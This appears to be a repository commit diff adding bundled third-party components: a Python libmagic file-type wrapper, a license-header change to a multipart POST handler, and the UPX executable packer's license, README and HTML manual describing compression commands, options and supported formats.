Magic is a wrapper around the libmagic C library.
"""
def __init__(self, mime=False, magic_file=None):
"""
Create a new libmagic wrapper.
mime - if True, mimetypes are returned instead of textual descriptions
magic_file - use a mime database other than the system default
"""
flags = MAGIC_NONE
if mime:
flags |= MAGIC_MIME
self.cookie = magic_open(flags)
magic_load(self.cookie, magic_file)
def from_buffer(self, buf):
"""
Identify the contents of `buf`
"""
return magic_buffer(self.cookie, buf)
def from_file(self, filename):
"""
Identify the contents of file `filename`
raises IOError if the file does not exist
"""
if not os.path.exists(filename):
raise IOError("File does not exist: " + filename)
return magic_file(self.cookie, filename)
def __del__(self):
try:
magic_close(self.cookie)
except Exception, _:
pass
_magic_mime = None
_magic = None
def _get_magic_mime():
global _magic_mime
if not _magic_mime:
_magic_mime = Magic(mime=True)
return _magic_mime
def _get_magic():
global _magic
if not _magic:
_magic = Magic()
return _magic
def _get_magic_type(mime):
if mime:
return _get_magic_mime()
else:
return _get_magic()
def from_file(filename, mime=False):
m = _get_magic_type(mime)
return m.from_file(filename)
def from_buffer(buffer, mime=False):
m = _get_magic_type(mime)
return m.from_buffer(buffer)
try:
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
magic_t = ctypes.c_void_p
def errorcheck(result, func, args):
err = magic_error(args[0])
if err is not None:
raise MagicException(err)
else:
return result
magic_open = libmagic.magic_open
magic_open.restype = magic_t
magic_open.argtypes = [c_int]
magic_close = libmagic.magic_close
magic_close.restype = None
magic_close.argtypes = [magic_t]
magic_close.errcheck = errorcheck
magic_error = libmagic.magic_error
magic_error.restype = c_char_p
magic_error.argtypes = [magic_t]
magic_errno = libmagic.magic_errno
magic_errno.restype = c_int
magic_errno.argtypes = [magic_t]
magic_file = libmagic.magic_file
magic_file.restype = c_char_p
magic_file.argtypes = [magic_t, c_char_p]
magic_file.errcheck = errorcheck
_magic_buffer = libmagic.magic_buffer
_magic_buffer.restype = c_char_p
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
_magic_buffer.errcheck = errorcheck
def magic_buffer(cookie, buf):
return _magic_buffer(cookie, buf, len(buf))
magic_load = libmagic.magic_load
magic_load.restype = c_int
magic_load.argtypes = [magic_t, c_char_p]
magic_load.errcheck = errorcheck
magic_setflags = libmagic.magic_setflags
magic_setflags.restype = c_int
magic_setflags.argtypes = [magic_t, c_int]
magic_check = libmagic.magic_check
magic_check.restype = c_int
magic_check.argtypes = [magic_t, c_char_p]
magic_compile = libmagic.magic_compile
magic_compile.restype = c_int
magic_compile.argtypes = [magic_t, c_char_p]
except:
pass
MAGIC_NONE = 0x000000 # No flags
MAGIC_DEBUG = 0x000001 # Turn on debugging
MAGIC_SYMLINK = 0x000002 # Follow symlinks
MAGIC_COMPRESS = 0x000004 # Check inside compressed files
MAGIC_DEVICES = 0x000008 # Look at the contents of devices
MAGIC_MIME = 0x000010 # Return a mime string
MAGIC_CONTINUE = 0x000020 # Return all matches
MAGIC_CHECK = 0x000040 # Print warnings to stderr
MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
MAGIC_RAW = 0x000100 # Don't translate unprintable chars
MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens

View File

@@ -5,6 +5,8 @@ $Id$
02/2006 Will Holcomb <wholcomb@gmail.com> 02/2006 Will Holcomb <wholcomb@gmail.com>
Reference: http://odin.himinbi.org/MultipartPostHandler.py
This library is free software; you can redistribute it and/or This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either License as published by the Free Software Foundation; either
@@ -14,6 +16,10 @@ This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details. Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
@@ -48,11 +54,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
v_files = [] v_files = []
v_vars = [] v_vars = []
try: try:
for(key, value) in data.items(): for(key, value) in data.items():
if type(value) == file: if type(value) == file:
v_files.append((key, value)) v_files.append((key, value))
else: else:
v_vars.append((key, value)) v_vars.append((key, value))
except TypeError: except TypeError:
systype, value, traceback = sys.exc_info() systype, value, traceback = sys.exc_info()
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback

Binary file not shown.

138
lib/contrib/upx/doc/LICENSE Normal file
View File

@@ -0,0 +1,138 @@
-----BEGIN PGP SIGNED MESSAGE-----
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar
http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
http://www.nexus.hu/upx
http://upx.tsx.org
PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN
TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION.
ABSTRACT
========
UPX and UCL are copyrighted software distributed under the terms
of the GNU General Public License (hereinafter the "GPL").
The stub which is imbedded in each UPX compressed program is part
of UPX and UCL, and contains code that is under our copyright. The
terms of the GNU General Public License still apply as compressing
a program is a special form of linking with our stub.
As a special exception we grant the free usage of UPX for all
executables, including commercial programs.
See below for details and restrictions.
COPYRIGHT
=========
UPX and UCL are copyrighted software. All rights remain with the authors.
UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
UPX is Copyright (C) 1996-2000 Laszlo Molnar
UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
GNU GENERAL PUBLIC LICENSE
==========================
UPX and the UCL library are free software; you can redistribute them
and/or modify them under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of
the License, or (at your option) any later version.
UPX and UCL are distributed in the hope that they will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING.
SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES
============================================
The stub which is imbedded in each UPX compressed program is part
of UPX and UCL, and contains code that is under our copyright. The
terms of the GNU General Public License still apply as compressing
a program is a special form of linking with our stub.
Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special
permission to freely use and distribute all UPX compressed programs
(including commercial ones), subject to the following restrictions:
1. You must compress your program with a completely unmodified UPX
version; either with our precompiled version, or (at your option)
with a self compiled version of the unmodified UPX sources as
distributed by us.
2. This also implies that the UPX stub must be completely unmodfied, i.e.
the stub imbedded in your compressed program must be byte-identical
to the stub that is produced by the official unmodified UPX version.
3. The decompressor and any other code from the stub must exclusively get
used by the unmodified UPX stub for decompressing your program at
program startup. No portion of the stub may get read, copied,
called or otherwise get used or accessed by your program.
ANNOTATIONS
===========
- You can use a modified UPX version or modified UPX stub only for
programs that are compatible with the GNU General Public License.
- We grant you special permission to freely use and distribute all UPX
compressed programs. But any modification of the UPX stub (such as,
but not limited to, removing our copyright string or making your
program non-decompressible) will immediately revoke your right to
use and distribute a UPX compressed program.
- UPX is not a software protection tool; by requiring that you use
the unmodified UPX version for your proprietary programs we
make sure that any user can decompress your program. This protects
both you and your users as nobody can hide malicious code -
any program that cannot be decompressed is highly suspicious
by definition.
- You can integrate all or part of UPX and UCL into projects that
are compatible with the GNU GPL, but obviously you cannot grant
any special exceptions beyond the GPL for our code in your project.
- We want to actively support manufacturers of virus scanners and
similar security software. Please contact us if you would like to
incorporate parts of UPX or UCL into such a product.
Markus F.X.J. Oberhumer Laszlo Molnar
markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu
Linz, Austria, 25 Feb 2000
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI
wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf
dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx
OO03+ojZdO8=
=CS52
-----END PGP SIGNATURE-----

142
lib/contrib/upx/doc/README Normal file
View File

@@ -0,0 +1,142 @@
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
http://upx.sourceforge.net
WELCOME
=======
Welcome to UPX !
Please don't forget to read the file LICENSE - UPX is distributed
under the GNU General Public License (GPL) with special exceptions
allowing the distribution of all compressed executables, including
commercial programs.
INTRODUCTION
============
UPX is an advanced executable file compressor. UPX will typically
reduce the file size of programs and DLLs by around 50%-70%, thus
reducing disk space, network load times, download times and
other distribution and storage costs.
Programs and libraries compressed by UPX are completely self-contained
and run exactly as before, with no runtime or memory penalty for most
of the supported formats.
UPX supports a number of different executable formats, including
Windows 95/98/ME/NT/2000/XP/CE programs and DLLs, DOS programs,
and Linux executables and kernels.
UPX is free software distributed under the term of the GNU General
Public License. Full source code is available.
UPX may be distributed and used freely, even with commercial applications.
See the UPX License Agreement for details.
UPX is rated number one in the well known Archive Comparison Test. Visit
http://compression.ca/ .
UPX aims to be Commercial Quality Freeware.
SHORT DOCUMENTATION
===================
'upx program.exe' will compress a program or DLL. For best compression
results try 'upx --brute program.exe'.
Please see the file UPX.DOC for the full documentation. The files
NEWS and BUGS also contain various tidbits of information.
DISCLAIMER
==========
UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.
Having said that, we think that UPX is quite stable now. Indeed we
have compressed lots of files without any problems. Also, the
current version has undergone several months of beta testing -
actually it's almost 8 years since our first public beta.
This is the first production quality release, and we plan that future
releases will be backward compatible with this version.
Please report all problems or suggestions to the authors. Thanks.
THE FUTURE
==========
- We'd really love to support handheld systems like the PalmPilot because
compression makes a lot of sense here. And - because of the atari/tos
format - we already have a working decompressor in 68000 assembly.
Unfortunately we know next to nothing about the operating system
architecture of such handhelds, so we need some information from
an expert. Please contact us if you think you can help.
- The Linux approach could probably get ported to a lot of other Unix
variants, at least for other i386 architectures it shouldn't be too
much work. If someone sends me a fresh hard disk and an official
FreeBSD/OpenBSD/NetBSD/Solaris/BeOS... CD I might take a look at it ;-)
- We will *NOT* add any sort of protection and/or encryption.
This only gives people a false feeling of security because
by definition all protectors/compressors can be broken.
And don't trust any advertisement of authors of other executable
compressors about this topic - just do a websearch on "unpackers"...
- Fix all remaining bugs - keep your reports coming ;-)
- See the file PROJECTS in the source code distribution if you want
to contribute.
COPYRIGHT
=========
Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer
Copyright (C) 1996-2008 Laszlo Molnar
Copyright (C) 2000-2008 John F. Reiser
This program may be used freely, and you are welcome to
redistribute it under certain conditions.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
UPX License Agreement for more details.
You should have received a copy of the UPX License Agreement along
with this program; see the file LICENSE. If not, visit the UPX home page.
Share and enjoy,
Markus & Laszlo
Markus F.X.J. Oberhumer Laszlo Molnar
<markus@oberhumer.com> <ml1050@users.sourceforge.net>
[ The term UPX is a shorthand for the Ultimate Packer for eXecutables
and holds no connection with potential owners of registered trademarks
or other rights. ]
[ Feel free to contact us if you have commercial compression requirements
or interesting job offers. ]

View File

@@ -0,0 +1,888 @@
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>upx - compress or expand executable files</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>
<body style="background-color: white">
<p><a name="__index__"></a></p>
<!-- INDEX BEGIN -->
<!--
<ul>
<li><a href="#name">NAME</a></li>
<li><a href="#synopsis">SYNOPSIS</a></li>
<li><a href="#abstract">ABSTRACT</a></li>
<li><a href="#disclaimer">DISCLAIMER</a></li>
<li><a href="#description">DESCRIPTION</a></li>
<li><a href="#commands">COMMANDS</a></li>
<ul>
<li><a href="#compress">Compress</a></li>
<li><a href="#decompress">Decompress</a></li>
<li><a href="#test">Test</a></li>
<li><a href="#list">List</a></li>
</ul>
<li><a href="#options">OPTIONS</a></li>
<li><a href="#compression_levels___tuning">COMPRESSION LEVELS &amp; TUNING</a></li>
<li><a href="#overlay_handling_options">OVERLAY HANDLING OPTIONS</a></li>
<li><a href="#environment">ENVIRONMENT</a></li>
<li><a href="#notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></li>
<ul>
<li><a href="#notes_for_atari_tos">NOTES FOR ATARI/TOS</a></li>
<li><a href="#notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></li>
<li><a href="#notes_for_dos_com">NOTES FOR DOS/COM</a></li>
<li><a href="#notes_for_dos_exe">NOTES FOR DOS/EXE</a></li>
<li><a href="#notes_for_dos_sys">NOTES FOR DOS/SYS</a></li>
<li><a href="#notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></li>
<li><a href="#notes_for_linux__general_">NOTES FOR LINUX [general]</a></li>
<li><a href="#notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></li>
<li><a href="#notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></li>
<li><a href="#notes_for_linux_386">NOTES FOR LINUX/386</a></li>
<li><a href="#notes_for_ps1_exe">NOTES FOR PS1/EXE</a></li>
<li><a href="#notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></li>
<li><a href="#notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></li>
<li><a href="#notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></li>
<li><a href="#notes_for_watcom_le">NOTES FOR WATCOM/LE</a></li>
<li><a href="#notes_for_win32_pe">NOTES FOR WIN32/PE</a></li>
</ul>
<li><a href="#diagnostics">DIAGNOSTICS</a></li>
<li><a href="#bugs">BUGS</a></li>
<li><a href="#authors">AUTHORS</a></li>
<li><a href="#copyright">COPYRIGHT</a></li>
</ul>
-->
<!-- INDEX END -->
<p>
</p>
<h1><a name="name">NAME</a></h1>
<p>upx - compress or expand executable files</p>
<p>
</p>
<hr />
<h1><a name="synopsis">SYNOPSIS</a></h1>
<p><strong>upx</strong> [&nbsp;<em>command</em>&nbsp;] [&nbsp;<em>options</em>&nbsp;] <em>filename</em>...</p>
<p>
</p>
<hr />
<h1><a name="abstract">ABSTRACT</a></h1>
<pre>
The Ultimate Packer for eXecutables
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar &amp; John Reiser
<a href="http://upx.sourceforge.net">http://upx.sourceforge.net</a></pre>
<p><strong>UPX</strong> is a portable, extendable, high-performance executable packer for
several different executable formats. It achieves an excellent compression
ratio and offers <em>*very*</em> fast decompression. Your executables suffer
no memory overhead or other drawbacks for most of the formats supported,
because of in-place decompression.</p>
<p>While you may use <strong>UPX</strong> freely for both non-commercial and commercial
executables (for details see the file LICENSE), we would highly
appreciate if you credit <strong>UPX</strong> and ourselves in the documentation,
possibly including a reference to the <strong>UPX</strong> home page. Thanks.</p>
<p>[ Using <strong>UPX</strong> in non-OpenSource applications without proper credits
is considered not politically correct ;-) ]</p>
<p>
</p>
<hr />
<h1><a name="disclaimer">DISCLAIMER</a></h1>
<p><strong>UPX</strong> comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.</p>
<p>This is the first production quality release, and we plan that future 1.xx
releases will be backward compatible with this version.</p>
<p>Please report all problems or suggestions to the authors. Thanks.</p>
<p>
</p>
<hr />
<h1><a name="description">DESCRIPTION</a></h1>
<p><strong>UPX</strong> is a versatile executable packer with the following features:</p>
<pre>
- excellent compression ratio: compresses better than zip/gzip,
use UPX to decrease the size of your distribution !</pre>
<pre>
- very fast decompression: about 10 MiB/sec on an ancient Pentium 133,
about 200 MiB/sec on an Athlon XP 2000+.</pre>
<pre>
- no memory overhead for your compressed executables for most of the
supported formats</pre>
<pre>
- safe: you can list, test and unpack your executables
Also, a checksum of both the compressed and uncompressed file is
maintained internally.</pre>
<pre>
- universal: UPX can pack a number of executable formats:
* atari/tos
* bvmlinuz/386 [bootable Linux kernel]
* djgpp2/coff
* dos/com
* dos/exe
* dos/sys
* linux/386
* linux/elf386
* linux/sh386
* ps1/exe
* rtm32/pe
* tmt/adam
* vmlinuz/386 [bootable Linux kernel]
* vmlinux/386
* watcom/le (supporting DOS4G, PMODE/W, DOS32a and CauseWay)
* win32/pe (exe and dll)
* arm/pe (exe and dll)
* linux/elfamd64
* linux/elfppc32
* mach/elfppc32</pre>
<pre>
- portable: UPX is written in portable endian-neutral C++</pre>
<pre>
- extendable: because of the class layout it's very easy to support
new executable formats or add new compression algorithms</pre>
<pre>
- free: UPX can be distributed and used freely. And from version 0.99
the full source code of UPX is released under the GNU General Public
License (GPL) !</pre>
<p>You probably understand now why we call <strong>UPX</strong> the ``<em>ultimate</em>''
executable packer.</p>
<p>
</p>
<hr />
<h1><a name="commands">COMMANDS</a></h1>
<p>
</p>
<h2><a name="compress">Compress</a></h2>
<p>This is the default operation, eg. <strong>upx yourfile.exe</strong> will compress the file
specified on the command line.</p>
<p>
</p>
<h2><a name="decompress">Decompress</a></h2>
<p>All <strong>UPX</strong> supported file formats can be unpacked using the <strong>-d</strong> switch, eg.
<strong>upx -d yourfile.exe</strong> will uncompress the file you've just compressed.</p>
<p>
</p>
<h2><a name="test">Test</a></h2>
<p>The <strong>-t</strong> command tests the integrity of the compressed and uncompressed
data, eg. <strong>upx -t yourfile.exe</strong> check whether your file can be safely
decompressed. Note, that this command doesn't check the whole file, only
the part that will be uncompressed during program execution. This means
that you should not use this command instead of a virus checker.</p>
<p>
</p>
<h2><a name="list">List</a></h2>
<p>The <strong>-l</strong> command prints out some information about the compressed files
specified on the command line as parameters, eg <strong>upx -l yourfile.exe</strong>
shows the compressed / uncompressed size and the compression ratio of
<em>yourfile.exe</em>.</p>
<p>
</p>
<hr />
<h1><a name="options">OPTIONS</a></h1>
<p><strong>-q</strong>: be quiet, suppress warnings</p>
<p><strong>-q -q</strong> (or <strong>-qq</strong>): be very quiet, suppress errors</p>
<p><strong>-q -q -q</strong> (or <strong>-qqq</strong>): produce no output at all</p>
<p><strong>--help</strong>: prints the help</p>
<p><strong>--version</strong>: print the version of <strong>UPX</strong></p>
<p><strong>--exact</strong>: when compressing, require to be able to get a byte-identical file
after decompression with option <strong>-d</strong>. [NOTE: this is work in progress and is
not supported for all formats yet. If you do care, as a workaround you can
compress and then decompress your program a first time - any further
compress-decompress steps should then yield byte-identical results
as compared to the first decompressed version.]</p>
<p>[ ...to be written... - type `<strong>upx --help</strong>' for now ]</p>
<p>
</p>
<hr />
<h1><a name="compression_levels___tuning">COMPRESSION LEVELS &amp; TUNING</a></h1>
<p><strong>UPX</strong> offers ten different compression levels from <strong>-1</strong> to <strong>-9</strong>,
and <strong>--best</strong>. The default compression level is <strong>-8</strong> for files
smaller than 512 KiB, and <strong>-7</strong> otherwise.</p>
<ul>
<li>
<p>Compression levels 1, 2 and 3 are pretty fast.</p>
</li>
<li>
<p>Compression levels 4, 5 and 6 achieve a good time/ratio performance.</p>
</li>
<li>
<p>Compression levels 7, 8 and 9 favor compression ratio over speed.</p>
</li>
<li>
<p>Compression level <strong>--best</strong> may take a long time.</p>
</li>
</ul>
<p>Note that compression level <strong>--best</strong> can be somewhat slow for large
files, but you definitely should use it when releasing a final version
of your program.</p>
<p>Quick info for achieving the best compression ratio:</p>
<ul>
<li>
<p>Try <strong>upx --brute myfile.exe</strong> or even <strong>upx --ultra-brute myfile.exe</strong>.</p>
</li>
<li>
<p>Try if <strong>--overlay=strip</strong> works.</p>
</li>
<li>
<p>For win32/pe programs there's <strong>--strip-relocs=0</strong>. See notes below.</p>
</li>
</ul>
<p>
</p>
<hr />
<h1><a name="overlay_handling_options">OVERLAY HANDLING OPTIONS</a></h1>
<p>Info: An ``overlay'' means auxiliary data attached after the logical end of
an executable, and it often contains application specific data
(this is a common practice to avoid an extra data file, though
it would be better to use resource sections).</p>
<p><strong>UPX</strong> handles overlays like many other executable packers do: it simply
copies the overlay after the compressed image. This works with some
files, but doesn't work with others, depending on how an application
actually accesses this overlayed data.</p>
<pre>
--overlay=copy Copy any extra data attached to the file. [DEFAULT]</pre>
<pre>
--overlay=strip Strip any overlay from the program instead of
copying it. Be warned, this may make the compressed
program crash or otherwise unusable.</pre>
<pre>
--overlay=skip Refuse to compress any program which has an overlay.</pre>
<p>
</p>
<hr />
<h1><a name="environment">ENVIRONMENT</a></h1>
<p>The environment variable <strong>UPX</strong> can hold a set of default
options for <strong>UPX</strong>. These options are interpreted first and
can be overwritten by explicit command line parameters.
For example:</p>
<pre>
for DOS/Windows: set UPX=-9 --compress-icons#0
for sh/ksh/zsh: UPX=&quot;-9 --compress-icons=0&quot;; export UPX
for csh/tcsh: setenv UPX &quot;-9 --compress-icons=0&quot;</pre>
<p>Under DOS/Windows you must use '#' instead of '=' when setting the
environment variable because of a COMMAND.COM limitation.</p>
<p>Not all of the options are valid in the environment variable -
<strong>UPX</strong> will tell you.</p>
<p>You can explicitly use the <strong>--no-env</strong> option to ignore the
environment variable.</p>
<p>
</p>
<hr />
<h1><a name="notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></h1>
<p>
</p>
<h2><a name="notes_for_atari_tos">NOTES FOR ATARI/TOS</a></h2>
<p>This is the executable format used by the Atari ST/TT, a Motorola 68000
based personal computer which was popular in the late '80s. Support
of this format is only because of nostalgic feelings of one of
the authors and serves no practical purpose :-).
See <a href="http://www.freemint.de">http://www.freemint.de</a> for more info.</p>
<p>Packed programs will be byte-identical to the original after uncompression.
All debug information will be stripped, though.</p>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></h2>
<p>Same as vmlinuz/i386.</p>
<p>
</p>
<h2><a name="notes_for_dos_com">NOTES FOR DOS/COM</a></h2>
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
themselves (like some commandline utilities that ship with Win95/98/ME).</p>
<p>Compressed programs only work on a 286+.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>Maximum uncompressed size: ~65100 bytes.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_dos_exe">NOTES FOR DOS/EXE</a></h2>
<p>dos/exe stands for all ``normal'' 16-bit DOS executables.</p>
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
themselves (like some command line utilities that ship with Win95/98/ME).</p>
<p>Compressed programs only work on a 286+.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--no-reloc Use no relocation records in the exe header.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_dos_sys">NOTES FOR DOS/SYS</a></h2>
<p>Compressed programs only work on a 286+.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>Maximum uncompressed size: ~65350 bytes.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></h2>
<p>First of all, it is recommended to use <strong>UPX</strong> *instead* of <strong>strip</strong>. strip has
the very bad habit of replacing your stub with its own (outdated) version.
Additionally <strong>UPX</strong> corrects a bug/feature in strip v2.8.x: it
will fix the 4 KiB alignment of the stub.</p>
<p><strong>UPX</strong> includes the full functionality of stubify. This means it will
automatically stubify your COFF files. Use the option <strong>--coff</strong> to
disable this functionality (see below).</p>
<p><strong>UPX</strong> automatically handles Allegro packfiles.</p>
<p>The DLM format (a rather exotic shared library extension) is not supported.</p>
<p>Packed programs will be byte-identical to the original after uncompression.
All debug information and trailing garbage will be stripped, though.</p>
<p>Extra options available for this executable format:</p>
<pre>
--coff Produce COFF output instead of EXE. By default
UPX keeps your current stub.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_linux__general_">NOTES FOR LINUX [general]</a></h2>
<p>Introduction</p>
<pre>
Linux/386 support in UPX consists of 3 different executable formats,
one optimized for ELF executables (&quot;linux/elf386&quot;), one optimized
for shell scripts (&quot;linux/sh386&quot;), and one generic format
(&quot;linux/386&quot;).</pre>
<pre>
We will start with a general discussion first, but please
also read the relevant docs for each of the individual formats.</pre>
<pre>
Also, there is special support for bootable kernels - see the
description of the vmlinuz/386 format.</pre>
<p>General user's overview</p>
<pre>
Running a compressed executable program trades less space on a
``permanent'' storage medium (such as a hard disk, floppy disk,
CD-ROM, flash memory, EPROM, etc.) for more space in one or more
``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
Running a compressed executable also requires some additional CPU
cycles to generate the compressed executable in the first place,
and to decompress it at each invocation.</pre>
<pre>
How much space is traded? It depends on the executable, but many
programs save 30% to 50% of permanent disk space. How much CPU
overhead is there? Again, it depends on the executable, but
decompression speed generally is at least many megabytes per second,
and frequently is limited by the speed of the underlying disk
or network I/O.</pre>
<pre>
Depending on the statistics of usage and access, and the relative
speeds of CPU, RAM, swap space, /tmp, and file system storage, then
invoking and running a compressed executable can be faster than
directly running the corresponding uncompressed program.
The operating system might perform fewer expensive I/O operations
to invoke the compressed program. Paging to or from swap space
or /tmp might be faster than paging from the general file system.
``Medium-sized'' programs which access about 1/3 to 1/2 of their
stored program bytes can do particularly well with compression.
Small programs tend not to benefit as much because the absolute
savings is less. Big programs tend not to benefit proportionally
because each invocation may use only a small fraction of the program,
yet UPX decompresses the entire program before invoking it.
But in environments where disk or flash memory storage is limited,
then compression may win anyway.</pre>
<pre>
Currently, executables compressed by UPX do not share RAM at runtime
in the way that executables mapped from a file system do. As a
result, if the same program is run simultaneously by more than one
process, then using the compressed version will require more RAM and/or
swap space. So, shell programs (bash, csh, etc.) and ``make''
might not be good candidates for compression.</pre>
<pre>
UPX recognizes three executable formats for Linux: Linux/elf386,
Linux/sh386, and Linux/386. Linux/386 is the most generic format;
it accommodates any file that can be executed. At runtime, the UPX
decompression stub re-creates in /tmp a copy of the original file,
and then the copy is (re-)executed with the same arguments.
ELF binary executables prefer the Linux/elf386 format by default,
because UPX decompresses them directly into RAM, uses only one
exec, does not use space in /tmp, and does not use /proc.
Shell scripts where the underlying shell accepts a ``-c'' argument
can use the Linux/sh386 format. UPX decompresses the shell script
into low memory, then maps the shell and passes the entire text of the
script as an argument with a leading ``-c''.</pre>
<p>General benefits:</p>
<pre>
- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
libc6, Shell/Perl/Python/... scripts, standalone Java .class
binaries, or whatever...
All scripts and programs will work just as before.</pre>
<pre>
- Compressed programs are completely self-contained. No need for
any external program.</pre>
<pre>
- UPX keeps your original program untouched. This means that
after decompression you will have a byte-identical version,
and you can use UPX as a file compressor just like gzip.
[ Note that UPX maintains a checksum of the file internally,
so it is indeed a reliable alternative. ]</pre>
<pre>
- As the stub only uses syscalls and isn't linked against libc it
should run under any Linux configuration that can run ELF
binaries.</pre>
<pre>
